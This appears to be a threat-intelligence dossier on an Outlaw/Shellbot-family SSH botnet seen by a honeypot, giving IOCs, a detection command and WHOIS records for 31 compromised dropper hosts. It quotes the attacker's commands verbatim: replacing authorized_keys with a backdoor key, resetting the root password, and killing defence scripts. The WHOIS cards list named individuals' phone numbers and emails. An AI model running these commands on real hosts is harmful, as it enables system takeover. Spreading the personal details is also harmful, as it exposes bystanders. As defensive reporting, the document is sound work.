🔑 TI-2026-008 — The Backdoor-Key Harvester: Outlaw/Shellbot Coordinated Campaign

🟠 ACTIVE — Backdoor-Key Harvester Botnet · 31 Compromised Linux Hosts · 34+ Days · Still Running

TI-2026-008 — "The Backdoor-Key Harvester" — One SSH Key, 31 Hosts, 22 Countries, 34 Days

A coordinated Outlaw / Shellbot-family Linux botnet that brute-forces SSH, installs the same RSA public key on every victim, rotates a unique 12-character root password per host, and evicts rival miners — but drops no payload. The compromised hosts are then re-purposed as scanners against new targets. Campaign window 2026-03-28 → 2026-05-01 (ongoing). Two new droppers hit our cowrie during the writing of this dossier.

🔑 Backdoor-Key Persistence Outlaw / Shellbot Family 31 Compromised Hosts Rival-Miner Eviction 22 Countries · 4 Continents Cloud + Residential ISPs Per-Victim Password Rotation Active Campaign

Between 2026-03-28 and 2026-05-01 (and still running as this dossier is published) a single Cowrie SSH honeypot captured a coordinated Outlaw / Shellbot-family Linux botnet operating across 31 compromised hosts in 22 countries. The toolkit is unusually clean: no malware download, no miner drop. The implant is a single RSA public key written into ~/.ssh/authorized_keys, plus a unique 12-character root password set via chpasswd per victim, plus the killing of any rival self-defense scripts (secure.sh, auth.sh) and the flushing of /etc/hosts.deny. The droppers are themselves victims of an earlier compromise — Linux servers belonging to Korean labour unions, Indonesian ERP installs, Brazilian small-ISP customers, an Israeli dev environment, a Microsoft Azure ODOO ERP instance, multiple DigitalOcean and Google Cloud and Hetzner VMs — repurposed as scanners. The operator harvests the implanted-key footprint and returns later, from clean infrastructure that does not appear in our logs.

This dossier reproduces every WHOIS identifier the public RIRs return for every IP that touched the honeypot. Names of registered persons, street addresses, contact handles, abuse mailboxes, AS numbers, and netblock allocation timestamps appear exactly as the registries return them. We are not the judges of who is responsible for what. We are the providers of what the records say. The honeypot caught what it caught.

🍯 Honeypot Collection — 34+ days, ongoing

Dropper IPs (compromised hosts)

22+

Countries / 4 continents

Shared RSA backdoor key

34+

Days active (and counting)

Malware payloads dropped

THE TOOLKIT — BYTE-FOR-BYTE

The same five-command opening runs on every dropper, in this order, separated by ~700 ms. We confirmed identical sequences across all 31 hosts; only the per-victim random password in step 4 rotates. The whole sequence — including the recon block — exits within ~60 seconds.

1 · UNLOCK

Strip immutable bit on .ssh

cd ~; chattr -ia .ssh; lockr -ia .ssh

2 · IMPLANT

Wipe + install backdoor key

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv..." > .ssh/authorized_keys

3 · PROFILE

First fingerprint — CPU count

cat /proc/cpuinfo | grep name | wc -l

4 · LOCK ROOT

Reset root password (12-char random, rotates per victim) · falls through to passwd interactive on hardened hosts

echo "root:<12-char random>"|chpasswd|bash

5 · EVICT

Kill rival self-defense scripts · flush /etc/hosts.deny · the family signature

rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep

📡 Then a recon block — 10 more commands, always the same

cpuinfo · free -m · df · uname -a · w · crontab -l · lscpu · whoami · top

⚠️ Why step 5 is the Outlaw / Shellbot signature

secure.sh and auth.sh are well-known self-defense scripts that prior Outlaw / Shellbot infections drop on victims to keep rivals out. This toolkit kills them by name. echo > /etc/hosts.deny flushes any TCP-wrappers blocklist a sysadmin set up. The implant evicts the previous tenant before moving in.

CORE IOCs

Indicator	Value
RSA pubkey MD5 fingerprint	`13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61`
Pubkey blob prefix (grep target)	`AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv`
RSA exponent	`0x25` (37) — non-standard; ssh-keygen defaults to 65537
Toolkit binary marker	`lockr` — non-standard; semantic equivalent of `chattr -ia`
Cleanup signature	`pkill -9 secure.sh auth.sh; rm -rf /tmp/secure.sh /tmp/auth.sh; echo > /etc/hosts.deny`
Dropper SSH client	`SSH-2.0-libssh_0.12.0` · HASSH `af8223ac9914f509afdadfaf5f7ee94e` (common — not unique to this campaign)
Per-victim password samples	`KqRMG0ONe7kW` · `lE21yDVYl56A` · `EDuNDILKDWqQ` · `JWpKedT9Iw41` · `1CEbpvwt5wH2` · `pxurA5RmZO0Y` · `pOF9zVxmOvZ2` · `iiEFqa6fjrOj` · `CqHlyKdqZz65` · `jMjSKvTynORU` · `Polisyjk9Rg9` · `5Zjj4sMFny1E`

⚡ One-line check for any Linux host

grep -rF 'AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv' /root/.ssh /home/*/.ssh /etc/ssh 2>/dev/null

Silent output means clean. Any hit means rebuild.

THE 31 DROPPERS — ACTIVITY OVERVIEW

Compromised hosts

29d 6h

Longest single span (52.177.169.196)

04-11

Peak day — 6 nodes active

Active during dossier writing

One row per IP. Full WHOIS records with registered persons and addresses appear in the section below. "First → last seen" reflects activity against our honeypot only. Rows highlighted in red were active today (2026-05-01).

IP	Origin AS	CC	Reverse DNS / Shodan signal	First → last seen (UTC)	Span
`103.173.154.45`	AS135905	🇻🇳 VN	—	03-28 21:29 → 03-31 13:49	2d 16h
`182.93.50.90`	AS4609 CTM-MO	🇲🇴 MO	n18293z50l90.static.ctmip.net	03-30 06:51 → 04-19 04:22	19d 21h
`45.175.37.29`	AS267843 TCA SERVICES	🇻🇪 VE	—	03-31 04:02 → 04-14 22:10	14d 18h
`52.177.169.196`	AS8075 Microsoft	🇺🇸 US	SRVODOOERP.*.cloudapp.net	03-31 23:59 → 04-30 06:01	29d 6h
`175.107.32.186`	AS23888 NTC PK	🇵🇰 PK	scanner-tagged	03-29 19:16 → 04-04 23:15	6d 4h
`103.139.192.188`	AS136052 IDCloudHost	🇮🇩 ID	ip103-139-192-188.cloudhost.web.id	04-01 05:21 → 04-01 06:15	54m
`103.49.239.212`	AS136052 IDCloudHost	🇮🇩 ID	ip103-49-239-212.cloudhost.web.id ; www.exama.id	04-01 14:50 → 04-21 23:21	20d 8h
`156.238.236.46`	AS401696 COGNETCLOUD	🇭🇰 HK / 🇸🇨 SC	—	04-02 06:50 → 04-03 06:27	23h 36m
`188.226.168.173`	AS14061 DigitalOcean	🇳🇱 NL	dev.boomer.co.il	04-02 17:30 → 04-11 11:06	8d 17h
`212.154.234.9`	AS50482 KazakhTelecom	🇰🇿 KZ	—	04-02 23:37 → 04-17 21:26	14d 21h
`68.183.236.1`	AS14061 DigitalOcean	🇺🇸 US	shms-erp.com	04-03 17:55 → 04-03 19:03	1h 8m
`187.16.96.250`	AS17222 Mundivox	🇧🇷 BR	mvx-187-16-96-250.mundivox.com	04-04 14:09 → 04-28 06:44	23d 16h
`143.198.235.14`	AS14061 DigitalOcean	🇺🇸 US	caly.getpictoria.app	04-04 22:09 → 04-04 22:59	49m
`165.154.22.6`	AS135377 UCLOUD-HK	🇭🇰 HK	—	04-05 18:56 → 04-05 19:52	56m
`35.237.94.18`	AS396982 Google Cloud	🇺🇸 US	googleusercontent.com	04-05 23:11 → 04-11 11:08	5d 11h
`101.47.159.125`	AS150436 BytePlus	🇸🇬 SG	—	04-09 16:01 → 04-11 00:33	1d 8h
`103.107.60.45`	AS137151 Greenworld Netcast	🇮🇳 IN	—	04-09 15:28 → 04-15 00:22	5d 8h
`114.207.246.197`	AS9318 SK Broadband	🇰🇷 KR	mail2.uniforce.or.kr	04-11 04:38 → 04-18 21:42	7d 17h
`58.229.141.26`	AS9318 SK Broadband	🇰🇷 KR	—	04-11 04:37 → 04-19 03:50	7d 23h
`198.98.56.205`	AS53667 FranTech (PONYNET)	🇺🇸 US	bullshit-irc.net	04-11 10:29 → 04-11 11:06	36m
`209.97.168.111`	AS14061 DigitalOcean	🇺🇸 US	—	04-11 10:28 → 04-11 11:12	43m
`103.163.116.84`	AS141745 Moghbazar	🇧🇩 BD	—	04-11 10:29 → 04-11 11:15	46m
`101.47.156.170`	AS150436 BytePlus	🇸🇬 SG	—	04-14 04:54 → 04-14 07:10	2h 16m
`74.243.239.219`	AS8075 Microsoft	🇺🇸 US	—	04-17 20:48 → 04-17 21:31	43m
`103.146.23.145`	AS131366 LANIT VN	🇻🇳 VN	—	04-17 20:46 → 04-17 21:30	43m
`185.193.240.246`	AS212645 GLOBALSAT MK	🇲🇰 MK	scanner-tagged	04-20 11:04 → 04-20 11:41	37m
`91.99.110.230`	AS24940 Hetzner	🇩🇪 DE	static.230.110.99.91.clients.your-server.de	04-21 02:37 → 04-21 10:55	8h 18m
`197.199.224.52`	AS36992 Etisalat Misr	🇪🇬 EG	host-197.199.224.52.etisalat.com.eg	04-24 01:33 → 04-24 02:15	41m
`103.187.146.90`	AS138608 Cloud Host Pte Ltd	🇮🇩 ID / 🇸🇬 SG	ip103-187-146-90.cloudhost.web.id	04-29 22:53 → 04-29 23:46	53m
`79.174.63.130`	AS47119 Ufanet	🇷🇺 RU	—	05-01 05:01 → 05-01 06:04	1h 2m
`144.79.187.31`	AS138000 PT Antar Fiber Optik (allocated 2025-12-22)	🇮🇩 ID	—	05-01 15:58 → 05-01 16:26	28m

⏱ Two of these IPs hit the honeypot during the writing of this dossier (rows highlighted). The campaign is a current event, not a closed historical case.

THE 31 DROPPERS — FULL WHOIS RECORDS

📜 Editorial principle for this section

Each card below reproduces the public WHOIS record from the relevant Regional Internet Registry (RIPE / APNIC / AFRINIC / LACNIC / ARIN) for the netblock containing the dropper IP. Names, addresses, contact handles, abuse mailboxes, maintainers, and registration timestamps appear exactly as the registry returns them — verbatim, no paraphrasing, no redaction.

103.173.154.45

🇻🇳 VN

inetnum: 103.173.154.0 - 103.173.155.255 — netname: THANHLONG-VN
descr: THANH LONG TRAFFIC CONSTRUCTION CONSULTING COMPANY LIMITED
address: No.1, Alley 23/69/75, Group 4 Phu Dien, Phu Dien Ward, Bac Tu Liem District, Ha Noi City
admin-c / tech-c: DVN7-AP — person: Dao Van Nghi · +84 986552681 · thanh.long@hoidoanhnghiepmoi.com
mnt-by: MAINT-VN-VNNIC · route: 103.173.154.0/24 → origin: AS135905

182.93.50.90

🇲🇴 MO

inetnum: 182.93.0.0 - 182.93.63.255 — netname: CTM-AS-AP
org-name: Companhia de Telecomunicacoes de Macau · Rua da Lagos, Telecentro, P.O. Box 868, Taipa, Macau · +853-891-2211
admin-c: CN448-AP (CTM NOC) · tech-c: CM2469-AP (CTM Mcenter, +853 8891 2211)
abuse-mailbox: NMC_Internet_LeasedLine@ctm.com.mo · mnt-by: APNIC-HM, MAINT-CTM-MO
route: 182.93.50.0/24 (CTM Internet Service) → origin: AS4609

45.175.37.29

🇻🇪 VE

inetnum: 45.175.36.0/22 — status allocated · owner: TCA SERVICES C.A. · ownerid: VE-TSCA-LACNIC
address: Av. Francisco Solano Lopez, Pasaje La Concordia, Piso 6, Caracas VE, 6H — 1080 - CARACAS - DC · +58 2127626530
tech-c: SOR2 — person: Socrates Romay · socrates@tcascorp.com · Av. Bello Monte / Leonardo DaVinci, 11-C, C.C. Bello Monte, Nivel 11, 1080 Caracas DF · +58 2614143204055
created: 2019-05-02 (LACNIC) · BGP origin AS: AS267843 TCA SERVICES C.A.

52.177.169.196

🇺🇸 US (Microsoft Azure)

NetRange: 52.145.0.0 - 52.191.255.255 (CIDR 52.148.0.0/14, 52.146.0.0/15, 52.152.0.0/13, 52.160.0.0/11, 52.145.0.0/16) · NetName: MSFT
OrgName: Microsoft Corporation · One Microsoft Way, US · RegDate 2015-11-24
BGP origin AS: AS8075 MICROSOFT-CORP-MSN-AS-BLOCK · Reverse DNS: SRVODOOERP.xklwuxwk2daute2h4zefcgdzvf.cx.internal.cloudapp.net (Azure tenant ODOO ERP instance)

175.107.32.186

🇵🇰 PK

inetnum: 175.107.0.0 - 175.107.63.255 · netname: NTCISP-PK · org-name: National Telecommunication Corporation
address: NTC Headquarters Sector F-5/1, Islamabad · +92-51-9208686 · +92-51-9208809
admin-c / tech-c: NTCA1-AP · contact emails: zahir.abbas@ntc.org.pk · talha.javaid@ntc.net.pk · ispsupport@ntc.net.pk
mnt-by: APNIC-HM, MAINT-PK-ZAHIR, MAINT-PK-WAHEED · route: 175.107.32.0/24 → origin: AS23888

103.139.192.188

🇮🇩 ID

inetnum: 103.139.192.0 - 103.139.193.255 · netname: IDNIC-HALTO-ID · descr: PT. Halto Petirah Angrowangi (Corporate / Direct Member IDNIC)
address: Jl. Kalijati Indah Sel. No.12, Antapani Kulon, Kec. Antapani, Kota Bandung, Jawa Barat
admin-c / tech-c: IH123-AP · secondary: IA55-AP, IH288-AP · abuse-mailbox: abuse@idnic.net · hostmaster@apjii.or.id
mnt-by: MNT-APJII-ID · status ALLOCATED PORTABLE · BGP origin AS: AS136052 IDNIC-IDCLOUDHOST-AS-ID PT Cloud Hosting Indonesia (announced)

103.49.239.212

🇮🇩 ID (two overlapping inetnums)

(a) inetnum: 103.49.238.0 - 103.49.239.255 · netname: IDNIC-SALKAKOLABORASI-ID · descr: CV Salka Kolaborasi Indonesia (Corporate / Direct Member IDNIC) · address: Jalan Eka Tunggal Ujung, Perumahan Salsabila Regency 3 Blok A Nomor 3, Kec. Tuah Madani, Pekanbaru, Riau
admin-c / tech-c: RH1028-AP — person: Roni Hidayat · Sidomulyo Barat · +62-811-7577-182 · tech@salki.my.id · abuse-mailbox: abuse@salki.my.id · mnt-by: MNT-APJII-ID, MAINT-ID-SALKAKOLABORASI
(b) inetnum: 103.49.239.0 - 103.49.239.255 · netname: IDNIC-IDCLOUDHOST-ID · descr: PT Cloud Hosting Indonesia · address: Pinus Raya Reni Jaya AG-1 No.01, Pamulang Barat, Pamulang, Tangerang Selatan, Banten
admin-c / tech-c: APS20-AP — person: Alfian Pamungkas Sakawiguna · Jl. Bojonggenteng No.2, Sukabumi, Jawa Barat · +62-266-620073 · abuse-mailbox: admin@idcloudhost.com · mnt-by: MAINT-ID-IDCLOUDHOST
route: 103.49.239.0/24 (Route Object Of PT. Cloud Hosting Indonesia) → origin: AS136052

156.238.236.46

🇭🇰 HK (inetnum) / 🇸🇨 SC (registrant entity)

NetRange: 156.238.0.0 - 156.238.255.255 (allocated by AFRINIC, ERX from earlier ARIN allocation)
inetnum: 156.238.236.0 - 156.238.236.255 · netname: cognetcloud_INC · descr: cognetcloud INC · country: HK
admin-c / tech-c: CIS1-AFRINIC — person: Cloud Innovation Support · Ebene MU / Mahe, Seychelles · +248-4-610-795 · abuse-mailbox: abuse@cloudinnovation.org
mnt-by: CIL1-MNT, LARUS-SERVICE-MNT · BGP origin AS: AS401696 COGNETCLOUD (US-listed entity, AFRINIC inetnum, registrant address in Seychelles)

188.226.168.173

🇳🇱 NL (DigitalOcean Amsterdam)

inetnum: 188.226.128.0 - 188.226.191.255 · netname: DIGITALOCEAN-AMS-4 · descr: Digital Ocean, Inc.
person: DigitalOcean Network Operations · 105 Edgeview Drive, Suite 425, Broomfield, Colorado 80021, United States of America · +1 646-827-4366 · mnt-by: digitalocean
BGP origin AS: AS14061 DIGITALOCEAN-ASN · Reverse DNS: dev.boomer.co.il

212.154.234.9

🇰🇿 KZ

inetnum: 212.154.234.8 - 212.154.234.15 (a /29 sub-allocation) · netname: IP_HELIOS_SOFT
descr: Co-location · LLC "HELIOS SOFT" · Akkol
admin-c / tech-c: DP17366-RIPE — person: Denis Puzikov · 050000 Almaty, Kurgalzhinskoe shosse 19/T app.501, KZ · +7 701 850 36 77
mnt-by: KNIC-MNT · status ASSIGNED PA · created 2024-02-29 · BGP origin AS: AS50482 KAZAKHTELECOM-AS

68.183.236.1

🇺🇸 US (DigitalOcean)

NetRange: 68.183.0.0 - 68.183.255.255 · NetName: DIGITALOCEAN-68-183-0-0 · OrgName: DigitalOcean, LLC (DO-13) · 105 Edgeview Drive, Suite 425, US · RegDate 2018-09-18
BGP origin AS: AS14061 DIGITALOCEAN-ASN · Reverse DNS: shms-erp.com

187.16.96.250

🇧🇷 BR

inetnum: 187.16.64.0/18 · owner: MUNDIVOX DO BRASIL LTDA · ownerid: 03.580.510/0002-54 · created 2008-09-24
tech-c: AIJ6 — person: Alberto Ivan Duran de la Jara · created 2001-07-10
BGP origin AS: AS17222 MUNDIVOX DO BRASIL LTDA · Reverse DNS: mvx-187-16-96-250.mundivox.com

143.198.235.14

🇺🇸 US (DigitalOcean)

NetRange: 143.198.0.0 - 143.198.255.255 · NetName: DIGITALOCEAN-143-198-0-0 · OrgName: DigitalOcean, LLC (DO-13) · 105 Edgeview Drive, Suite 425, US · RegDate 2020-01-24
BGP origin AS: AS14061 DIGITALOCEAN-ASN · Reverse DNS: caly.getpictoria.app

165.154.22.6

🇭🇰 HK

inetnum: 165.154.22.0 - 165.154.22.255 · netname: UCLOUD-HK · descr: UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED
address: FLAT/RM 603 6/F, LAWS COMMERCIAL PLAZA, 788 CHEUNG SHA WAN ROAD, KL, Hong Kong
admin-c / tech-c: UITH2-AP · pn-wan@ucloud.cn · u-ipnic@ucloud.cn · abuse-mailbox: hegui@ucloud.cn · mnt-by: MAINT-UCLOUD-HK
route: 165.154.22.0/24 → origin: AS135377 (also seen via AS62610)

35.237.94.18

🇺🇸 US (Google Cloud)

NetRange: 35.208.0.0 - 35.247.255.255 · NetName: GOOGLE-CLOUD · OrgName: Google LLC (GOOGL-2) · 1600 Amphitheatre Parkway, US · RegDate 2017-09-29
BGP origin AS: AS396982 GOOGLE-CLOUD-PLATFORM · Reverse DNS: 18.94.237.35.bc.googleusercontent.com

101.47.159.125 + 101.47.156.170

🇸🇬 SG (BytePlus / ByteDance, same /21)

inetnum: 101.47.112.0 - 101.47.255.255 · netname: BYTEPLUS-SG · descr: BYTEPLUS
address: 1 Raffles Quay, #26-10, South Tower, Singapore 048583 · +65-6950-4420
admin-c / tech-c: BPLA13-AP · abuse-mailbox: bd_abuse@bytedance.com · mnt-by: MAINT-BYTEPLUS-SG · status ALLOCATED NON-PORTABLE
route: 101.47.159.0/24 + 101.47.156.0/24 → origin: AS150436 Byteplus Pte. Ltd.

103.107.60.45

🇮🇳 IN

inetnum: 103.107.60.0 - 103.107.63.255 · netname: GNPLISP · descr: Greenworld Netcast Private Limited
address: 219, JIMMI TOWER, OPP. SWAMINARAYAN GURUKUL, GONDAL
admin-c / tech-c: KP439-AP — person: KETANKUMAR PETHANI · +91 7227891031 · ketan7390@gmail.com · abuse-mailbox: GNPLISP@GMAIL.COM · contact: GREENWORLD.RAJKOT@gmail.com
mnt-by: MAINT-IN-IRINN, MAINT-IN-GNPLISP · status ASSIGNED PORTABLE · route: 103.107.60.0/24 → origin: AS137151

114.207.246.197 + 58.229.141.26

🇰🇷 KR (SK Broadband, same operator)

inetnums: 114.200.0.0 - 114.207.255.255 (for 114.207.246.197) · 58.224.0.0 - 58.239.255.255 (for 58.229.141.26)
netname: broadNnet (KRNIC: broadNnet-KR) · descr: SK Broadband Co Ltd · address (block): 9, Jinheung-gil, Naju-si, Jeollanam-do
admin-c / tech-c: IM670-AP / IM574-AP / IM12-KR — person: IP Manager · Seoul Jung-gu Toegye-ro 24 · +82-80-828-2106 · ip-adm@skbroadband.com · abuse-mailbox: irt@nic.or.kr
mnt-by: MNT-KRNIC-AP · BGP origin AS: AS9318 SKB-AS
Reverse DNS (114.207.246.197): mail2.uniforce.or.kr · uniforce.or.kr

198.98.56.205

🇺🇸 US (FranTech / PONYNET)

NetRange: 198.98.48.0 - 198.98.63.255 (CIDR 198.98.48.0/20) · NetName: PONYNET-06
OrgName: FranTech Solutions (SYNDI-5) · 1621 Central Ave, US · RegDate 2010-07-21 · netblock allocated 2012-07-05
BGP origin AS: AS53667 PONYNET · Reverse DNS: bullshit-irc.net (cross-reference TI-2026-007 — same hostname appeared as the mdrfckr IRC C2)

209.97.168.111

🇺🇸 US (DigitalOcean)

NetRange: 209.97.128.0 - 209.97.191.255 (CIDR 209.97.128.0/18) · NetName: DIGITALOCEAN-209-97-128-0
OrgName: DigitalOcean, LLC (DO-13) · 105 Edgeview Drive, Suite 425, US · RegDate 1997-07-03
BGP origin AS: AS14061 DIGITALOCEAN-ASN

103.163.116.84

🇧🇩 BD

inetnum: 103.163.116.0 - 103.163.117.255 · netname: MOGHBAZARDOTNET-BD · org-name: Moghbazar Dot Net
address: 164/1 Noyatola, wireless rail gate, Dhaka 1217 · +88-01977743370
admin-c / tech-c: MDNA1-AP · contact email: admin@moghbazar.net · abuse-mailbox: mukit@moghbazar.net
mnt-by: APNIC-HM, MAINT-MOGHBAZARDOTNET-BD · route: 103.163.116.0/24 → origin: AS141745 · descr: Maksudur Rashed

74.243.239.219

🇺🇸 US (Microsoft)

NetRange: 74.240.0.0 - 74.243.255.255 (CIDR 74.240.0.0/14) · NetName: MSFT
Sub-allocation: 74.243.224.0 - 74.243.255.255 (CIDR 74.243.224.0/19) · NetName BLS-74-243-224-0-1003020949 · Address 575 Morosgo Dr. NE
OrgName: Microsoft Corporation · One Microsoft Way, US · BGP origin AS: AS8075 MICROSOFT-CORP-MSN-AS-BLOCK

103.146.23.145

🇻🇳 VN

inetnum: 103.146.22.0 - 103.146.23.255 · netname: LANIT-VN · descr: Lanit Technology and Communication Joint Stock Company
address: 3B, 52 Alley, 43 lane, Cau Coc str., Tay Mo, Nam Tu Liem, Hanoi City
admin-c / tech-c: PVD11-AP — person: Pham Van Duc · LANIT-VN · +84-912686938 · duc@lanit.com.vn · abuse-mailbox: hm-changed@vnnic.vn
mnt-by: MAINT-VN-VNNIC · route: 103.146.23.0/24 → origin: AS131366

185.193.240.246

🇲🇰 MK

inetnum: 185.193.240.0 - 185.193.240.255 · netname: MK-GLOBALSAT-20200916 · org-name: GLOBALSAT DOOEL
address: Ulica 38 br.22 Stajkovci, 1040 Skopje, NORTH MACEDONIA · +389 78 608808
admin-c / tech-c: CA9820-RIPE · mnt-by: mnt-mk-ineltehnik-1, RIPE-NCC-HM-MNT, MNT-LOWER_KAV · created 2020-09-16
route: 185.193.240.0/24 (GLOBALSAT /24) → origin: AS212645

91.99.110.230

🇩🇪 DE (Hetzner)

inetnum: 91.99.96.0 - 91.99.111.255 · netname: CLOUD-NBG1 · org-name: Hetzner Online GmbH
address: Industriestrasse 25, D-91710 Gunzenhausen, GERMANY · +49 9831 5050
admin-c: HOAC1-RIPE, MF1400-RIPE, GM834-RIPE, MH375-RIPE, SK2374-RIPE, SK8441-RIPE
tech-c: GM834-RIPE, SK2374-RIPE, MF1400-RIPE, SK8441-RIPE, DD15478-RIPE · abuse-mailbox: abuse@hetzner.com
mnt-by: HOS-GUN, RIPE-NCC-HM-MNT · created 2025-05-19 · route: 91.99.0.0/16 (HETZNER-DC) → origin: AS24940 · Reverse DNS: static.230.110.99.91.clients.your-server.de

197.199.224.52

🇪🇬 EG

inetnum: 197.199.224.0 - 197.199.255.255 · netname: EM-2 · descr: Network used for 3G Web Users
admin-c / tech-c: SMM2-AFRINIC — person: Sherif Magdy Mohamed · Etisalat Misr · S4 Down Town, 90th Street, 5th Compound, New Cairo, Egypt, Cairo 11835 · +20-2-35381000
mnt-by: etisalat-mnt, GENERATED-BDVY6DBBH98KLPSUIXSD5SUX8WDCVXTF-MNT
route: 197.199.224.0/24 (Etisalat Misr Mobile BB) → origin: AS36992 ETISALAT-MISR · Reverse DNS: host-197.199.224.52.etisalat.com.eg

103.187.146.90

🇮🇩 ID (registrant entity 🇸🇬 SG)

inetnum: 103.187.146.0 - 103.187.146.255 · netname: CLOUDHOST-SG · descr: Cloud Host Pte Ltd · BYOIP
address (org): 10 Anson Road, #27-15, International Plaza, Singapore Singapore 079903 · country (inetnum): ID · country (registrant person): SG
admin-c / tech-c: FRS9-AP — person: Faisal Reza ST · +65 9855 3391 · abuse-mailbox: abuse@cloudhost.asia
mnt-by: MAINT-CLOUDHOSTSG-ID, MAINT-ID-GHAZAFA · status ASSIGNED NON-PORTABLE · last-modified 2026-03-09
BGP origin AS: AS138608 CLOUDHOST-AS-AP · Reverse DNS: ip103-187-146-90.cloudhost.web.id

79.174.63.130

🇷🇺 RU (active 2026-05-01)

inetnum: 79.174.32.0 - 79.174.63.255 · netname: UBN · org-name: JSC "Ufanet"
address: 4/3 Pr. Octyabrya, 450001 Ufa, RUSSIAN FEDERATION (also: pr. Oktyabrya 4/3, Ufa, Russia) · +7 347 290 0405
admin-c: UN1646-RIPE / DK9362-RIPE · tech-c: UN1646-RIPE / RK10446-RIPE · abuse-mailbox: abuse@ufanet.ru
mnt-by: RIPE-NCC-END-MNT, UBN-MNT, RIPE-NCC-HM-MNT · status ASSIGNED PI · created 2008-04-28
route: 79.174.63.0/24 (JSC "Ufanet", Russia) → origin: AS47119

144.79.187.31

🇮🇩 ID (newly allocated 2025-12-22, active 2026-05-01)

inetnum: 144.79.187.0 - 144.79.187.255 · netname: IDNIC-AFNET-ID · descr: PT Antar Fiber Optik (Corporate / Direct Member IDNIC)
address (block): Jl. Cinta Karya no.10, Desa/Kel. Sari Rejo, Kec. Medan Polonia, Kota Medan, Prov sumatera Utara 20157
admin-c / tech-c: FBH3-AP — person: Frans Bernando Hutagalung · PT. Antar Fiber Optik · Jl. Prof. DR. Hamka no. 62, Kel. Bulian kec. Bajenis, prov. Sumatera Utara, 20612 · +62 813 6101 4282 · direktur@afnet.id
email / abuse: info@afnet.id · abuse@afnet.id · mnt-by: MNT-APJII-ID, MAINT-ID-AFNET · status ASSIGNED PORTABLE · last-modified 2025-12-24
BGP origin AS: AS138000 IDNIC-AFNET-ID PT Antar Fiber Optik · allocation date: 2025-12-22 — newly minted block, four months old at time of attack

THE 32ND IP — A CO-OBSERVER, NOT A PARTICIPANT

🎯 The 32nd IP — at first glance, the smoking gun

One IP behaved differently from the 31 droppers: 139.19.117.129. It used SSH-2.0-Go, not libssh_0.12.0. Between 2026-04-04 and 2026-04-28 it logged 234 SSH attempts against our cowrie — all of them publickey authentication using the same RSA key the droppers were installing. Zero successes. Zero commands. Just the key, over and over, against admin and root. The natural read: this is the campaign's harvest node, returning to log into compromised hosts.

🔄 Plot twist — reverse DNS

$ dig +short -x 139.19.117.129
inet-research-scan-5.mpi-inf.mpg.de.

That is a Max-Planck-Institut für Informatik internet measurement scanner in Saarbrücken, Germany. AS680 — DFN, the German National Research and Education Network. Not the operator. A research group doing internet-wide measurement, scanning for hosts that accept the same backdoor key the droppers are installing. Tracking the campaign for the same reason we are. Different methodology, same target.

🎓 Co-observer WHOIS — Max-Planck-Institut für Informatik

NetRange: 139.10.0.0 - 139.25.255.255 (CIDR 139.16.0.0/13, 139.24.0.0/15, 139.12.0.0/14, 139.10.0.0/15)
NetName: RIPE-ERX-139-10-0-0 · Organization: RIPE Network Coordination Centre — delegated to Max-Planck-Institut für Informatik, Saarbrücken, Germany
BGP origin AS: AS680 — DFN Verein zur Foerderung eines Deutschen Forschungsnetzes e.V. (German National Research and Education Network), allocation 1990-06-14
Reverse DNS: inet-research-scan-{1..14}.mpi-inf.mpg.de · inet-scan-{1..14}.mpi-inf.mpg.de

“A node that submits a known-bad key for SSH publickey auth is not necessarily the bad guy.”

— Censys, Stretchoid, the Recyber Project, GreyNoise, and academic groups like MPI-INF all run scanners that look behaviorally identical to a botnet's harvest node. The disambiguator is rDNS, the AS, and the explicit inet-research-scan-N hostname. Always check.

🛡️ What is missing from our logs — and what that tells us

The actual harvest node — the IP the operator uses to log into compromised hosts via the implanted key — does not appear in our cowrie data. The droppers are disposable; their job is to compromise more hosts and expand the implanted-key footprint. The operator returns later, from clean infrastructure (Tor, a VPN, a dedicated bastion), and we never see those connections because cowrie does not actually accept the key. The C2 architecture is air-gapped from the propagation layer. The droppers can be sinkholed, blocklisted, taken down — and the operator's access to already-compromised hosts continues unaffected.

INFRASTRUCTURE PATTERNS THAT ARE VISIBLE

The operator's own infrastructure is invisible to us. The droppers' infrastructure is not — and within those 31 hosts, four distinct clustering patterns surface. Each tells us something different about how the campaign reaches across the internet.

Cluster 1 · 3 IPs 🇸🇬↔🇮🇩 Cloud Host / IDCloudHost shared DNS infrastructure

Three of the 31 droppers share the reverse DNS suffix *.cloudhost.web.id across two different BGP origin ASes:

IP	Origin AS	Legal entity (block descr)
`103.187.146.90`	AS138608	Cloud Host Pte Ltd (SG, Faisal Reza ST)
`103.139.192.188`	AS136052	PT. Halto Petirah Angrowangi (ID)
`103.49.239.212`	AS136052	PT Cloud Hosting Indonesia / CV Salka Kolaborasi (ID)

Why it matters: two corporate entities — one Singapore, one Indonesia — share one DNS infrastructure. Three of the compromised hosts in the campaign sit on the same operator's bare metal. When one customer of a hosting company gets owned, others on the same platform tend to follow, because the attack surface is shared.

Cluster 2 · 2 IPs 🇸🇬 BytePlus / ByteDance — adjacent hosts in one /21

Two IPs — 101.47.156.170 and 101.47.159.125 — live in the same 101.47.112.0/21, share the same admin contact (BPLA13-AP at 1 Raffles Quay, Singapore), and were active two days apart. Same operator. Almost certainly one host with multiple addresses, or two adjacent VMs on the same compromised tenant.

Cluster 3 · 1 IP 🆕 Brand-new AS — 4 months and 9 days old when it attacked

AS138000 allocated

2025-12-22

First seen attacking

2026-05-01

144.79.187.31 sits in AS138000, a block allocated to PT Antar Fiber Optik. New ASes get used by botnets for the same reason new domains do: clean reputation, no blocklist history. Worth flagging when triaging fresh allocations — any AS less than ~6 months old appearing in attack traffic deserves extra scrutiny.

🔗 Cross-dossier pivot

The same infrastructure surfaces in two dossiers

In TI-2026-007

mdrfckr botnet IRC C2

Cryptominer command channel

↔

In TI-2026-008 (this dossier)

Backdoor-Key dropper

SSH brute + key implant

          198.98.56.205 · bullshit-irc.net · AS53667 FranTech / PONYNET
        

